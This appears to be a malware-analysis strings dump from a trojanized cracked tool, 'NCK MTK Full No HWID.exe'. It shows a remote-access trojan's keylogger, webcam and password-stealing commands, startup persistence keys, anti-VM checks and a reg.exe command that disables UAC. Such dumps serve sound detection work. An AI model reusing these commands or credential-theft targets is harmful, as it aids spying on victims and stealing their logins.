$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

Portugal

Turkey

Windows 3.1

Windows 95 (Release 2)

Windows 95

Windows 98 SE

Windows 98

Windows ME

Windows 7

Windows Vista

%s %s

Windows XP Professional x64

Windows XP Home

Windows XP Professional

Windows 2000 Professional

Windows NT %d.%d

Windows 2008

%s %s Server

Windows 2003 Server Datacenter

Windows 2003 Server Enterprise

Windows 2003 Server Web Edition

Windows 2003 Server

Windows Home Server

Windows 2003 Server (Release 2)

Windows 2000 Server Datacenter

Windows 2000 Server Enterprise

Windows 2000 Server Web Edition

Windows 2000 Server

Windows NT 4.0 Server Datacenter

Windows NT 4.0 Server Enterprise

Windows NT 4.0 Server Web Edition

Windows NT 4.0 Server

Unknown Platform ID (%d)

%d.%d

%s (Build: %d

- Service Pack: %s

KERNEL32.DLL

teste.vbs

teste.txt

Set objSecurityCenter = GetObject("winmgmts:\\.\root\SecurityCenter")

Set colFirewall = objSecurityCenter.ExecQuery("Select * From FirewallProduct",,48)

Set colAntiVirus = objSecurityCenter.ExecQuery("Select * From AntiVirusProduct",,48)

Set objFileSystem = CreateObject("Scripting.fileSystemObject")

Set objFile = objFileSystem.CreateTextFile("

Info = Info & "F" & CountFw & ") " & objFirewall.displayName & " v" & objFirewall.versionNumber & Enter

Info = Info & "A" & CountAV & ") " & objAntiVirus.displayName & " v" & objAntiVirus.versionNumber & Enter

objFile.WriteLine(Info)

objFile.Close

cscript.exe

AVICAP32.dll

tFtpAccess

v1.07.5

BuildImportTable: can't load library:

BuildImportTable: ReallocMemory failed

BuildImportTable: GetProcAddress failed

BTMemoryLoadLibary: BuildImportTable failed

BTMemoryGetProcAddress: no export table found

BTMemoryGetProcAddress: DLL doesn't export anything

BTMemoryGetProcAddress: exported symbol not found

SetupApi.dll

SetupDiOpenClassRegKey

SetupDiOpenClassRegKeyExA

SetupDiOpenClassRegKeyExW

SetupDiCreateDeviceInterfaceRegKeyA

SetupDiCreateDeviceInterfaceRegKeyW

SetupDiOpenDeviceInterfaceRegKey

SetupDiDeleteDeviceInterfaceRegKey

SetupDiCreateDevRegKeyA

SetupDiCreateDevRegKeyW

SetupDiOpenDevRegKey

SetupDiDeleteDevRegKey

CM_DEVCAP_LOCKSUPPORTED

CM_DEVCAP_EJECTSUPPORTED

PDCAP_D0_SUPPORTED

PDCAP_D1_SUPPORTED

PDCAP_D2_SUPPORTED

PDCAP_D3_SUPPORTED

PDCAP_WAKE_FROM_D0_SUPPORTED

PDCAP_WAKE_FROM_D1_SUPPORTED

PDCAP_WAKE_FROM_D2_SUPPORTED

PDCAP_WAKE_FROM_D3_SUPPORTED

PDCAP_WARM_EJECT_SUPPORTED

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

127.0.0.1

iphlpapi.dll

AllocateAndGetTcpExTableFromStack

AllocateAndGetUdpExTableFromStack

SetTcpEntry

GetExtendedTcpTable

GetExtendedUdpTable

Mozilla3_5Password

GetChromePass

StartHttpProxy

1.2.3

keyboardkey

webcaminactive

webcamgetbuffer

webcam

enviarexecnormal

enviarexechidden

openweb

openwebpage

openwebhidden

downexec

sendftp

keylogger

keyloggergetlog

keyloggereraselog

keyloggerativar

keyloggerdesativar

renamekey

windowsfechar

windowsmax

windowsmin

windowsmostrar

windowsocultar

windowsmintodas

windowscaption

listarportas

listarportasdns

finalizarprocessoportas

webcamsettings

chatmsg

getpassword

updateservidorweb

keyloggersearch

urlredirect

urlredirecttrue

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

PSAPI.dll

\config\SteamAppData.vdf

AutoLoginUser

/ClientRegistry.Blob

\ClientRegistry.blob

\steam.dll

%SYS%

ÞSKTOP%

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

FirstExecution

chatmsg|

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

listarjanelas|windowsfechar|

listarjanelas|windowsmax|

listarjanelas|windowsmin|

listarjanelas|windowsmostrar|

listarjanelas|windowsocultar|

listarjanelas|windowsmintodas|

listarjanelas|windowscaption|

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

listarportas|listadeportaspronta|

listarportas|finalizarconexao|

listarportas|finalizarprocessoportas|Y|

listarportas|finalizarprocessoportas|N|

registro|renamekey|

keylogger|keylogger|keyloggerativar|

keylogger|keylogger|keyloggerdesativar|

keylogger|keyloggergetlog|

keylogger|keylogger|keyloggervazio|

keyloggersearchok|

webcam|webcaminactive|

webcam|webcamactive|

SOFTWARE\Mozilla\Mozilla Firefox

getfirefox

getielogin

getiepass

getieweb

getchrome

getpassword|getpasswordlist|

getpassword|getpassworderror|

duac.bat

%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

cmd.exe duac.bat

C:\Windows\System32\drivers\etc\hosts

Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\

Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\

Software\Microsoft\Windows\CurrentVersion\RunServices\

Software\Microsoft\Windows\CurrentVersion\RunOnce\

Software\Microsoft\Windows\CurrentVersion\Run\

temp.vbs

ntdll.dll

log.dat

SQLite3.dll

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

KWindows

RegExport

UrlMon

UnitExecutarComandos

uftp

.UnitBytesSize

UnitListarPortasAtivas

UnitWebcam

UnitKeylogger

WinExec

SetNamedPipeHandleState

GetProcessHeap

CreatePipe

RegQueryInfoKeyA

RegOpenKeyExA

RegOpenKeyA

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

RegCreateKeyA

RegCloseKey

GdiplusShutdown

keybd_event

MsgWaitForMultipleObjects

MapVirtualKeyA

GetKeyboardState

GetKeyboardLayoutNameA

GetKeyState

GetAsyncKeyState

ExitWindowsEx

EnumWindows

FtpGetFileSize

FtpSetCurrentDirectoryA

FtpOpenFileA

%( % & % % % ]

.idata

.reloc

P.rsrc

hbS%S

advapi32.dll

AVICAP32.DLL

gdi32.dll

gdiplus.dll

mpr.dll

msacm32.dll

ole32.dll

oleaut32.dll

powrprof.dll

user32.dll

wininet.dll

winmm.dll

wsock32.dll

%original file name%.exe_1344:

.idata

.rdata

P.reloc

P.rsrc

####@####

kernel32.dll

VBoxService.exe

SbieDll.dll

dbghelp.dll

Software\Microsoft\Windows\CurrentVersion

55274-640-2673064-23950

76487-644-3177037-23510

76487-337-8429955-22614

\\.\Syser

\\.\SyserDbgMsg

\\.\SyserBoot

\\.\SICE

\\.\NTICE

ShellExecuteA

shell32.dll

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

GetWindowsDirectoryA

SOFTWARE\Microsoft\Windows\CurrentVersion

http\shell\open\command

\Internet Explorer\iexplore.exe

PSAPI.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Software\Microsoft\Windows\CurrentVersion\Run

Microsoft\Network\Connections\pbk\rasphone.pbk

rasapi32.dll

rnaph.dll

RAS Passwords |

uURLHistory

Password:

abe2869f-9b47-4cd9-a358-c22904dba7f7

Password

UnitPasswords

advapi32.dll

WindowsLive:name=*

xxxyyyzzz.dat

\Mozilla Firefox\

mozcrt19.dll

sqlite3.dll

nspr4.dll

plc4.dll

plds4.dll

nssutil3.dll

softokn3.dll

nss3.dll

PK11_GetInternalKeySlot

userenv.dll

\Mozilla\Firefox\

profiles.ini

\signons3.txt

\signons2.txt

\signons1.txt

\signons.txt

(unnamed password)

explorer.exe

?456789:;<=

!"#$%&'()* ,-./0123

user32.dll

GetKeyboardType

RegOpenKeyExA

RegCloseKey

oleaut32.dll

RegDeleteKeyA

RegCreateKeyExA

RegCreateKeyA

SetWindowsHookExA

GetKeyboardState

ole32.dll

pstorec.dll

crypt32.dll

7%8 838\8

2&2.262^2

67

2 2$2(2,2024282

KWindows

KuURLHistory

IEpasswords

####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@#### ####@####

####@#### ####@####

####@#### ####@#### ####@####

.IRn85

.YQT&

H.AVL:@

g".IM

g4.kC

]^.ve

.PhH=e

e.UaP

.YqFt

Og.ho

Ÿ5A!

-%5x4D

-.MX]l

-G7%D

Z.T3.XL

XHJ%xc

|0.jF

:3.YKw

~y.LCI

rKEy<

GG?.QU

a.zhb1

ZLExE8das

<.yhjk

"T.Dq

^!%u~%l

{p`k.Ye

&.QDaR9

.xO";

B.nhb

U/7v%D

_Q.jB{Iz

r %U_

BÊa

.Ph`x

EWeb

#|.YM

%"~m

).bzG

.WAMr

$-t.qJ

R.jjH/

y&tu-g}

KKl%D

%.pp7[

Vk[%CHv

VZ}^}.LP=

C.IT~J

>I%s`

.FGW=>

.lx>"f^

db{.wI-s

.LZVSP

6.rJ!

d.xP0

O-a}EE

H%F$D

@B.Yu|^

%u1!(

@s.JG -

$].Py

%XGh_

.WWeP

G&%CS

.bW"Y

*\%9XMcZ

Lu.gAZ

.olXHw

.ykOxhU

GÀM

.bN*@

.EvO8

<N/9t.dxt6

S4.DLC>;L

9.ywgr

<AB%JOU.Dv

.LO9~

lÙ?

.MNjH

?%fJwk

T.YEa

J`8.OP

!.jPr7

-%s:g9

z.RQo

My#%UM

}uCrT

.UR%\M}

=4tcP

sns8)%XOy

%U%PF

`,.nk

k3.OY

{)-.lP

.Oejn

ZP.YC

iŒ2

2-o}s|

!%si<

UM.tFH

OL@

p#(.zW

3.QEq

.hj%Hz

\;"%Fm

-B.PI /

/.Gb=

%U1;1

@i.fb

%f?:'

02.DBkP

m~0%x\I

14T.zT

y%x>{

>P1*%D

,.SM3

$-#.Wdy

Q.JfI

C%X02

.iG"sN

5.lWI

x'.cr]

.oI&2

W.AtX

adC"%d

0B .ZOs

8&.mk_

S7ZQ.TF

xl.CT

-Gr};O n

.FF0u.

@>@6@.@&@

@:@2@*@"@

#:#2#*#".

#:#2#*#"#

:[2[*["[

[<[4[,[$[

[<[4[0[,[([$[ [

u#q#m.UN

#u.kP8

nj.LD

t|.WT

1#-#)#%#!#

z.WCo

F~P%D

8z.xiTW

zR%sYa

\Q.FK

O(gË

#K.Mi

I_W-O}

r(.phe<@

.vQ,#

[1.cd

V%dwf

3.fOj

WN.vQ

UZ.EZ

.qu@y

|#MA%u

sQLNuN

HB%cX

>m.rD&NZ

H.XW&

%CN@80/[

tCpV

D).Bx

ho%FG

'zF.bN

t%7X^In?

R .Ml

E);.QCH6

A%dVr

.bGZ#

H"%ST

"/%X`

N%T.Xl

0.pn*

e.MKc

ix.PJ

H.UZU\

.jdvX

-H%FU

zw.BX

M%0xLPx

.oXG 

^.il`

(2_.Jg\

?%x^Q

8.qPsX

ML.OZ

~Oy.bZ

%ckqqwG(4

O.zyA

.mt?S

.rn%Z_

z.BP9

!U.Nx

`&zV%C

ls%UmB-

%syBE

B6%SR

TÃ)

)6Y6P.wB

.UZ? q$

%Fgl<Y?

.blm^GB8

G%c@w

{.ojW

2.fI@{

/]%s:

vV.oh&

0fk%S

.oKQ2

LK$%d

3j.rv

C&%c_

u.JHjPX

ÌZ$

_.yr^

.Nb`Y

%s';>

E{AkÝ:O

i.OJY

$).Pu

Z\\%u

e.wG|QAr

%f E^

tz%U!

R=C.kF

.kID%

%UP/k9G

34.Fk

"#.xi[

s.Sch 

mb.Zheq

%u)"2Q$

.bAzJ

.qGlV

E.VH#M

(.HL}

.OjmH

.JNq<3X

nmsG

NL<.dG

.Na[8

[:0g.kF

;4%UY

X!.tA

v.NMtB

.mdIQ

HACU%s

ST|.SDe

N%sT<

%d/4)_

.eiszz|'

l.me5

%dPn^Q

cX.aMU

&.aJO

$:.lG

!,.GN

 V.dR

<n%dplB-*

.Fdc}

Jb!.Qj

5kE.Sc

#W.Kg

3.ICL'o

.KVXlGQ

.kIgQ

Es%S8

.FN;`q

$(, 048<

G x.uW

msGS

,($ 0000

$%xWy9

.vhtd<?

P.bba

T.%XX

Î>$

ÌCC"Tb@0

NCK MTK Full No HWID.exe_592_rwx_00401000_00114000:

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

Uh.TA

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

Uh.CB

comctl32.dll

USER32.DLL

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

Uh<%C

MAPI32.DLL

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

AutoHotkeys

AutoHotkeysh

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowStateL

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

1.2.3

Invalid ZStream operation!

ole32.dll

olepro32.dll

Options.dat

msimg32.dll

TacMDIWnd

C.PhP

r.uXhl

user32.dll

TacScrollBarsSupport

TacButtonsSupport

TacButtonsSupportX

MenuSupport

c:\Skins

WEBBUTTON

1.tmp

.JPEG

2.tmp

3333333

Please, update a skins to latest or link with the AlphaControls support for upgrading of existing skin.

This version of the skin have not complete support by used AlphaControls package release.

TacMenuSupport

TacMenuSupportL

Webdings

Uh.OL

TAddItemExEvent

DWMAPI.DLL

acMDIIcons

Cannot load image. %s not supported for %s files.

Cannot load image. Palette in %s file is invalid.

Cannot load image. Invalid or unexpected %s image format.

Cannot load image. CRC error found in %s file.

Cannot load image. Extra compressed data found in %s file.

Cannot load image. Compression error found in %s file.

Invalid color format in %s file.

Conversion between indexed and non-indexed pixel formats is not supported.

Portable network graphics (AlphaControls)

Loader.exe

hXXps://VVV.facebook.com/profile.php?id=100006816004547

inflate 1.2.3 Copyright 1995-2005 Mark Adler

NCK MTK Full No HWID.exe_592_rwx_0051B000_000FC000:

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

UrlMon

%sPopupClndr

)NCK Dongle Android MTK 2.5.6.2 GSM X TEAM

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

Icon.Data

Picture.Data

2016:04:14 23:58:05

]v.sl

urlTEXT

MsgeTEXT

HhXXp://ns.adobe.com/xap/1.0/

<x:xapmeta xmlns:x='adobe:ns:meta/' x:xaptk='XMP toolkit 2.8.2-33, framework 1.5'>

<rdf:RDF xmlns:rdf='hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='hXXp://ns.adobe.com/iX/1.0/'>

<rdf:Description about='uuid:5e231b69-02d7-11e6-89b4-a7c076b43199'

xmlns:xapMM='hXXp://ns.adobe.com/xap/1.0/mm/'>

<xapMM:DocumentID>adobe:docid:photoshop:5e231b67-02d7-11e6-89b4-a7c076b43199</xapMM:DocumentID>

=-UE%F

.YBVd)

vE%u0

v.Rzi(j

-5}}51W

NCK Dongle Android MTK 2.5.6.2

SkinData.SkinSection

Options.datHJ

.TK|B

ButtonHuge.bmp6

Master.bmp

4,;;;777

4'''555!!!^3

8;;;---11

.KJJ*  eh

1(%c`bvFJ~nz

Close.pngh

Edit.png

K&\.JF

Exbor.png.F

.tOee

Z~b%D%

P.zY8

GlowBtn.png

Max.png

Min.png

Options.dat

Master.bmp\

nC.vQ

A|dA.dD^X

dA.dD^d

@|dA.dD^d

#dA.dD^d

.xzzn

HMM%u

Uw.oF

k%XnH

Ex.png

GlowCAlone.png

GlowClose.PNGt

GlowMax.PNG

GlowMin.png

GlowNorm.png9

Huge.bmp6

%d"^B

%%%SS

US<J.Ev

4(000]@ 3

Xb.pngB

G0AÀ|

V%Xs2l-yRo7Qn

Huge.bmp6

L:Z.Nr

g8~XkÄ

Master.bmpLf

.WScc

Vi...ON

l,.nBZJJ

jurl6

CloseAG.png9

CloseG.png

MaxG.png

MinG.png

NormG.png!

Assshff

Options.dat4?

%CR.{

ButtonHuge.bmp8

Master.bmpty

*8,,*665  

@#555###;;;//

k.TKc

%dVSe

ButtonGlow.png

ExtBord.png

@iQe%fV

Options.dat O

4696959

zR-Y}

%ssy#

.Xs"1

:?*.Pk

CloseBtnGlow.png

ExBord.png

GlowingBtn.png

GlowingHugeBtn.pngb

MaxBtnGlow.png

avN516w%S9

MinBtnGlow.png2

NormalBtnGlow.png

avA516w%S9\T1L

Bg.bmp

Bg_dark.bmp

Master.bmpf

-SSS};z

$!6&/;%#5.-

Xb.pngi

~ ?4 ./<

0#@.Rt9

8 .yTC3hH

.fTK$

z5%S6

32<22<33

?%5855$55

dI.vo

%sRvl

V.Ht*3pV8

Master.bmpR

'.iVc

%d)Lg

v~D|

vCRt

v%Xu`5v

FN.po

PaÕ)

u].wM 

%xY;M

<.sj:|

l.cS|Q\

c.dNiA

X{f<.cmi

=p.wP

(8.jd;

Kc~.hTz

^N.xE

f{.cy

SM.pJX

z%X'w

7C.dD^d7

dA.dD^d7

w@|dA.dD^

dA.dD^dg

A|dA.dD^d

r[.Iz

a:\!}

MenuSupport.IcoLineSkin

ICOLINE!MenuSupport.ExtraLineFont.Charset

MenuSupport.ExtraLineFont.Color

clWindowText MenuSupport.ExtraLineFont.Height

MenuSupport.ExtraLineFont.Name

MenuSupport.ExtraLineFont.Style

c:\Skins

ThirdParty.ThirdEdits

ThirdParty.ThirdButtons

ThirdParty.ThirdBitBtns

ThirdParty.ThirdCheckBoxes

ThirdParty.ThirdGroupBoxes

ThirdParty.ThirdListViews

ThirdParty.ThirdPanels

ThirdParty.ThirdGrids

ThirdParty.ThirdTreeViews

ThirdParty.ThirdComboBoxes

ThirdParty.ThirdWWEdits

ThirdParty.ThirdVirtualTrees

ThirdParty.ThirdGridEh

ThirdParty.ThirdPageControl

ThirdParty.ThirdTabControl

ThirdParty.ThirdToolBar

ThirdParty.ThirdStatusBar

ThirdParty.ThirdSpeedButton

ThirdParty.ThirdScrollControl

ThirdParty.ThirdUpDown

ThirdParty.ThirdScrollBar

ThirdParty.ThirdStaticText

Constraints.MinHeight

Constraints.MinWidth

TsShellTreeView

sShellTreeView1

sShellTreeView1Change

BoundLabel.Active

BoundLabel.Caption

BoundLabel.Indent

BoundLabel.Layout

BoundLabel.MaxWidth

VertScrollBar.Tracking

KeyPreview

OnKeyPress

FormKeyPress

Constraints.MaxHeight

Constraints.MaxWidth

Glyph.Data

Brush.Color

Pen.Style

BoundLabel.UseSkinColor

GlyphMode.Grayed

Colors.Strings

sEditHexKeyPress

NCK MTK Full No HWID.exe_592_rwx_0061C000_0062C000:

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

comctl32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ole32.dll

!"#$%&*;<=>@[]^_`{|}

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

.Owner

TNT Internal Error: TWideComponentHelper.Create should never be encountered.

w:\3rdparty\TntUnicode\Source\TntClasses.pas

Internal Error: Unexpected format type (%s)

W:\3rdparty\ScreamSec\SecUtils.pas

TCipher.CreateIntf: Algorithm mismatch

TBlockCipher.CreateIntf: Wrong VectorSize

Cipher mode not supported

The vector for %s is %d blocks. Cannot initialize with a %d block vector.

The block size for %s is %d bytes and the key is %d bytes. Cannot initialize with a %d block vector.

The minimum key and IV size for %s is %d bytes.

Not supported

TRijndael_PipedPCFB

Rijndael: Invalid key size - %d

2.16.840.1.101.3.4.1.1

2.16.840.1.101.3.4.1.21

2.16.840.1.101.3.4.1.41

1.3.6.1.4.1.13085.1.22

1.3.6.1.4.1.13085.1.23

1.3.6.1.4.1.13085.1.24

2.16.840.1.101.3.4.1.4

2.16.840.1.101.3.4.1.24

2.16.840.1.101.3.4.1.44

1.3.6.1.4.1.13085.1.7

1.3.6.1.4.1.13085.1.8

1.3.6.1.4.1.13085.1.9

1.3.6.1.4.1.13085.1.4

1.3.6.1.4.1.13085.1.5

1.3.6.1.4.1.13085.1.6

1.3.6.1.4.1.13085.1.10

1.3.6.1.4.1.13085.1.11

1.3.6.1.4.1.13085.1.12

1.3.6.1.4.1.13085.1.1

1.3.6.1.4.1.13085.1.2

1.3.6.1.4.1.13085.1.3

1.3.6.1.4.1.13085.1.16

1.3.6.1.4.1.13085.1.17

1.3.6.1.4.1.13085.1.18

2.16.840.1.101.3.4.1.2

2.16.840.1.101.3.4.1.22

2.16.840.1.101.3.4.1.42

1.3.6.1.4.1.13085.1.19

1.3.6.1.4.1.13085.1.20

1.3.6.1.4.1.13085.1.21

2.16.840.1.101.3.4.1.3

2.16.840.1.101.3.4.1.23

2.16.840.1.101.3.4.1.43

2.16.840.1.101.3.4.1.5

2.16.840.1.101.3.4.1.25

2.16.840.1.101.3.4.1.45

/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */

TGenerator.Create: Cipher mode must be cmCTR.

UhY%f

Uh9%f

TMPPool.CheckThreadID: Called from the wrong thread.

TMPPool.Cache: Invalid pointer

TMPPool.Obtain: Out of memory

TMPPool.InternalCheck: Invalid pointer

Portugal

Turkey

TKeyVerifyParams

12345678-

!.EFT

EP_RegCheckKey

EP_RegCheckKeyA

EP_RegCheckKeyW

EP_RegSaveKey

EP_RegSaveKeyA

EP_RegSaveKeyW

EP_RegLoadKey

EP_RegLoadKeyA

EP_RegLoadKeyW

EP_RegLoadAndCheckKey

EP_RegCheckAndSaveKey

EP_RegCheckAndSaveKeyA

EP_RegCheckAndSaveKeyW

EP_RegDeleteKey

EP_RegKeyExpirationDate

EP_RegKeyExpirationDateEx

EP_RegKeyCreationDate

EP_RegKeyCreationDateEx

EP_RegKeyExecutions

EP_RegKeyExecutionsTotal

EP_RegKeyExecutionsLeft

EP_RegKeyDays

EP_RegKeyDaysTotal

EP_RegKeyDaysLeft

EP_RegKeyRuntime

EP_RegKeyRuntimeTotal

EP_RegKeyRuntimeLeft

EP_RegKeyGlobalTime

EP_RegKeyGlobalTimeTotal

EP_RegKeyGlobalTimeLeft

EP_RegKeyRegisterAfterDate

EP_RegKeyRegisterAfterDateEx

EP_RegKeyRegisterBeforeDate

EP_RegKeyRegisterBeforeDateEx

EP_TrialExecutions

EP_TrialExecutionsTotal

EP_TrialExecutionsLeft

EP_TrialExecutionTime

EP_TrialExecutionTimeTotal

EP_TrialExecutionTimeLeft

EP_RegCheckKeyEx

EP_RegSaveKeyEx

EP_RegLoadKeyEx

EP_CheckUpStartupPasswordHashString

EP_ProtectedStringByKey

EP_RegKeyInformation

EP_RegKeyInformationA

EP_RegKeyInformationW

EP_RegKeyStatus

Windows 95

WIN_VER_WINDOWS95

Windows 95 OSR2

WIN_VER_WINDOWS95OSR2

Windows 98

WIN_VER_WINDOWS98

Windows 98 SE

WIN_VER_WINDOWS98SE

Windows ME

WIN_VER_WINDOWSME

Windows 2000

WIN_VER_WINDOWS2000

Windows 2000 Professional

WIN_VER_WINDOWS2000PROF

Windows 2000 Data Server

WIN_VER_WINDOWS2000DATASERVER

Windows 2000 Advanced Server

WIN_VER_WINDOWS2000ADVSERVER

Windows 2000 Server

WIN_VER_WINDOWS2000SERVER

Windows XP

WIN_VER_WINDOWSXP

Windows XP Home

WIN_VER_WINDOWSXPHOME

Windows XP Professional

WIN_VER_WINDOWSXPPROF

Windows XP Professional x64

WIN_VER_WINDOWSXPPROFx64

Windows XP Professional Datacenter x64

WIN_VER_WINDOWSXPPROFDATACENTERx64

Windows XP Professional Enterprise x64

WIN_VER_WINDOWSXPPROFENERPRICEx64

Windows XP Professional Standart x64

WIN_VER_WINDOWSXPPROFSTANDARTx64

Windows 2003

Windows 2003 Server

WIN_VER_WINDOWS2003SERVER

Windows 2003 Server R2

WIN_VER_WINDOWS2003SERVERR2

Windows 2003 Storage Server

WIN_VER_WINDOWS2003STORAGESERVER

Windows 2003 Datacenter Itanium

WIN_VER_WINDOWS2003DATACENTERITANIUM

Windows 2003 Enterprise Itanium

WIN_VER_WINDOWS2003ENTERPRICEITANIUM

Windows 2003 Datacenter x64

WIN_VER_WINDOWS2003DATACENTERx64

Windows 2003 Enterprise x64

WIN_VER_WINDOWS2003ENERPRICEx64

Windows 2003 Standart x64

WIN_VER_WINDOWS2003STANDARTx64

Windows 2003 Compute

WIN_VER_WINDOWS2003COMPUTE

Windows 2003 Datacenter

WIN_VER_WINDOWS2003DATACENTER

Windows 2003 Enterprise

WIN_VER_WINDOWS2003ENTERPRICE

Windows 2003 Web

WIN_VER_WINDOWS2003WEB

Windows 2003 Standart

WIN_VER_WINDOWS2003STANDART

Windows Vista

WIN_VER_WINDOWSVISTA

Windows Vista Business

WIN_VER_WINDOWSVISTA_BUSINESS

Windows Vista Cluster Server

WIN_VER_WINDOWSVISTA_CLUSTER_SERVER

Windows Vista Datacenter Server

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER

Windows Vista Datacenter Server Core

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE

Windows Vista Datacenter Server Core V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE_V

Windows Vista Datacenter Server V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_V

Windows Vista Enterprise

WIN_VER_WINDOWSVISTA_ENTERPRICE

Windows Vista Enterprise Server

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER

Windows Vista Enterprise Server Core

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE

Windows Vista Enterprise Server V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_V

Windows Vista Enterprise Server Core V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE_V

Windows Vista Enterprise Server IA64

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_IA64

Windows Vista Home Basic

WIN_VER_WINDOWSVISTA_HOME_BASIC

Windows Vista Home Premium

WIN_VER_WINDOWSVISTA_HOME_PREMIUM

Windows Vista Home Server

WIN_VER_WINDOWSVISTA_HOME_SERVER

Windows Vista Server For Small Business

WIN_VER_WINDOWSVISTA_SERVER_FOR_SMALLBUSINESS

Windows Vista Small Business Server

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER

Windows Vista Small Business Server Premium

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER_PREMIUM

Windows Vista Medium Business Server Management

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows Vista Medium Business Server Messaging

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MESSAGING

Windows Vista Medium Business Server Security

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_SECURITY

Windows Vista Standard Server

WIN_VER_WINDOWSVISTA_STANDARD_SERVER

Windows Vista Standard Server V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_V

Windows Vista Standard Server Core

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE

Windows Vista Standard Server Core V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE_V

Windows Vista Starter

WIN_VER_WINDOWSVISTA_STARTER

Windows Vista Storage Enterprise Server

WIN_VER_WINDOWSVISTA_STORAGE_ENTERPRISE_SERVER

Windows Vista Storage Express Server

WIN_VER_WINDOWSVISTA_STORAGE_EXPRESS_SERVER

Windows Vista Storage Standard Server

WIN_VER_WINDOWSVISTA_STORAGE_STANDARD_SERVER

Windows Vista Storage Workgroup Server

WIN_VER_WINDOWSVISTA_STORAGE_WORKGROUP_SERVER

Windows Vista Undefined

WIN_VER_WINDOWSVISTA_UNDEFINED

Windows Vista Ultimate

WIN_VER_WINDOWSVISTA_ULTIMATE

Windows Vista Web Server

WIN_VER_WINDOWSVISTA_WEB_SERVER

Windows Vista Web Server Core

WIN_VER_WINDOWSVISTA_WEB_SERVER_CORE

Windows Vista Unlicensed

WIN_VER_WINDOWSVISTA_UNLICENSED

Windows 2008

WIN_VER_WINDOWS2008

Windows 2008 Business

WIN_VER_WINDOWS2008_BUSINESS

Windows 2008 Cluster Server

WIN_VER_WINDOWS2008_CLUSTER_SERVER

Windows 2008 Datacenter Server

WIN_VER_WINDOWS2008_DATACENTER_SERVER

Windows 2008 Datacenter Server Core

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE

Windows 2008 Datacenter Server Core V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE_V

Windows 2008 Datacenter Server V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_V

Windows 2008 Enterprise

WIN_VER_WINDOWS2008_ENTERPRICE

Windows 2008 Enterprise Server

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER

Windows 2008 Enterprise Server Core

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE

Windows 2008 Enterprise Server V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_V

